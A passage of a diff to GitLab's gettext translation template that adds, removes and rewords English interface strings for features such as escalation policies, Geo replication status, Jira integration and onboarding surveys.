+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
